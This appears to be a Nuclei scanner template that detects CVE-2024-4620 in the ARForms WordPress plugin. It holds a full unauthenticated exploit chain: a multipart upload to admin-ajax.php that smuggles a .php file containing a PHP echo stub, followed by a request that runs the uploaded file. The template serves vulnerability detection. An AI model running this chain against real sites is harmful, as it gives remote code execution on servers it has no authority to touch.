ArForms < 6.6 - Remote Code Execution

id: CVE-2024-4620

info:
  name: ArForms < 6.6 - Remote Code Execution
  author: iamnoooob,pdresearch
  severity: critical
  description: |
    The ARForms - Premium WordPress Form Builder Plugin WordPress plugin before 6.6 allows unauthenticated users to modify uploaded files in such a way that PHP code can be uploaded when an upload file input is included on a form
  impact: |
    Unauthenticated attackers can upload malicious PHP files to achieve remote code execution on WordPress servers running ARForms.
  remediation: |
    Update ARForms plugin to version 6.6 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4620
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-4620
    epss-score: 0.03345
    epss-percentile: 0.87346
    cpe: cpe:2.3:a:reputeinfosystems:arforms:*:*:*:*:*:wordpress:*:*
  metadata:
    vendor: reputeinfosystems
    product: arforms
    framework: wordpress
    verified: true
    max-request: 3
  tags: cve,cve2024,wordpress,wp,wp-plugin,arforms,intrusive,vkev,vuln

flow: http(1) && http(2) && http(3)

variables:
  path: "{{path}}" # page hosting Arform file upload form
  filename: "{{randbase(8)}}"
  marker: "{{randstr}}"

http:
  - raw:
      - |
        GET /{{path}} HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    extractors:
      - type: xpath
        name: field_id
        attribute: id
        internal: true
        xpath:
          - '//div[@class=" arfajax-file-upload"]'

      - type: xpath
        name: form_id
        attribute: value
        internal: true
        xpath:
          - '//input[@data-id="form_id"]'

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7y508xYQXqEUtnyQ
        X-FILENAME: {{filename}}.php

        ------WebKitFormBoundary7y508xYQXqEUtnyQ
        Content-Disposition: form-data; name="action"

        arf_send_form_data
        ------WebKitFormBoundary7y508xYQXqEUtnyQ
        Content-Disposition: form-data; name="frm"

        {{form_id}}
        ------WebKitFormBoundary7y508xYQXqEUtnyQ
        Content-Disposition: form-data; name="field_id"

        {{replace(field_id,'div_','')}}
        ------WebKitFormBoundary7y508xYQXqEUtnyQ
        Content-Disposition: form-data; name="file_type"

        text/html
        ------WebKitFormBoundary7y508xYQXqEUtnyQ
        Content-Disposition: form-data; name="types_arr"

        htm|html, jpg|jpeg|php
        ------WebKitFormBoundary7y508xYQXqEUtnyQ
        Content-Disposition: form-data; name="is_preview"


        ------WebKitFormBoundary7y508xYQXqEUtnyQ
        Content-Disposition: form-data; name="files"; filename="tinyjpeg.html"
        Content-Type: text/html

        <?phP echo base64_decode($_GET['input']); ?>
        ------WebKitFormBoundary7y508xYQXqEUtnyQ--

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "|{{filename}}.php|")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/uploads/arforms/userfiles/{{filename}}.php?input={{base64(marker)}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains((body), "{{marker}}")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a0047304502206e77f14af6ba194316eeb4a6b61067960ca7d21758e7764bad9b991bedca792e022100843b2219cae1ec6c44b64d0250cfe5d0742651b23d2296b0042141bea8830f88:922c64590222798bb761d5b6d8e72950